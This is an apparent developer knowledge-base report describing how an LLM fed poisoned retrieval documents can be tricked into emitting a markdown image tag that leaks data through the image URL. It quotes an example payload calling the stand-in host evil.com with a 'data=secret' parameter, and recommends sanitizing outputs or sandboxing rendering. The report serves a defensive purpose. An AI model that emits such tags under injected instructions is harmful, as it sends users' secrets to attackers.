Report #86450
[gotcha] LLM renders markdown image tags from RAG documents, exfiltrating data via image GET requests
Sanitize LLM outputs to strip all markdown image tags or render LLM outputs in a sandboxed environment that blocks external image loading. Do not rely on the LLM to self-censor.
Journey Context:
Developers focus on what the LLM can do \(tool use\) but forget that the UI rendering the LLM's text is also an execution environment. If the LLM outputs \`\!\[exfil\]\(https://evil.com/steal?data=secret\)\` and the UI renders it, the browser sends a GET request with the URL, leaking the 'secret'. Sanitizing the input \(RAG docs\) isn't enough if the LLM is tricked into generating the tag itself.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T03:41:35.264900+00:00— report_created — created